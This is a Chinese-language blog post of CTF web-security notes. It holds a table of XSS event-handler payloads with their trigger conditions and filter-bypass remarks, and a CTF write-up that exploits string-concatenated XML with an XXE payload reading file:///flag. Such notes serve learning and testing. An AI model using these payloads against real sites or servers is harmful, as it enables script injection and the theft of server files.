576 字
3 分钟

WEB_XSS积累

2026-03-27
2026-04-16
浏览量 加载中...

标签的内置事件:#

标签类型常用 Payload 示例触发事件触发条件 / 原理优点与局限性
图片类<img src=1 onerror=alert(1)>onerrorsrc 指定的资源不存在或加载失败时触发。最通用。即使 alert 被过滤,也可配合编码使用。
矢量图类<svg onload=alert(1)>onloadSVG 元素被解析并插入 DOM 树时触发。最强大。不需要外部资源,可直接嵌入复杂代码。
多媒体类<video><source onerror=alert(1)>onerror视频源加载失败时触发。常用于绕过针对 img 的简单过滤。
<video onloadstart=alert(1) src=1>onloadstart浏览器开始寻找视频资源时触发。无需等待加载失败,响应极快。
<audio src=1 onerror=alert(1)>onerror音频加载错误时触发。video,隐蔽性较好。
交互类<details open ontoggle=alert(1)>ontoggleopen 属性存在时,标签展开状态切换触发。无需资源。只要标签渲染即触发,现代浏览器兼容好。
<iframe onload=alert(1)></iframe>onload框架内文档加载完成后触发。适合在独立的沙箱环境中执行代码。
表单类<input autofocus onfocus=alert(1)>onfocusautofocus 让元素自动获得焦点时触发。静默触发。不需要用户真的去点击输入框。
<input onblur=alert(1) autofocus>onblur元素失去焦点时触发(通常需两个输入框配合)。适合特定交互场景。
<button onmouseover=alert(1)>X</button>onmouseover鼠标滑过按钮时触发。需要用户交互,但在诱导点击类攻击中有效。
<select onchange=alert(1)><option>1</option></select>onchange下拉框选项改变时触发。需要用户操作。
动画/其他<marquee onstart=alert(1)>X</marquee>onstart跑马灯动画开始时触发。老旧但好用(部分新浏览器已弃用)。
<body onload=alert(1)>onload整个页面加载完成时触发。仅限注入点能影响到 <body> 标签属性时。

XML 外部实体注入漏洞:#

原题:SHCTF—hallenge Info - [阶段2] Mini Blog

源码:

var xmlData = '<?xml version="1.0" encoding="UTF-8"?><post><title>' + title + '</title><content>' + content + '</content></post>';
fetch('/create', {
method: 'POST',
headers: { 'Content-Type': 'application/xml' },
body: xmlData
});

期待以post的方法发送xml的数据,而数据是拼接起来的,导致我们可以构造一些恶意的XML的数据直接进入后端,而不被拦截。

<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE post [
<!ENTITY xxe SYSTEM "file:///flag">
]>
<post>
<title>hack</title>
<content>&xxe;</content>
</post>

构造的xml数据。

以system的形式去读取flag文件。


  • 版权声明:本文由 余林阳 创作,转载请注明出处。

喜欢这篇文章吗?

点击右侧按钮为文章点赞,让更多人看到!

WEB_XSS积累
https://sliver-yu.cc/posts/web/web_xss积累/
作者
余林阳
发布于
2026-03-27
许可协议
CC BY-NC-SA 4.0

评论区

目录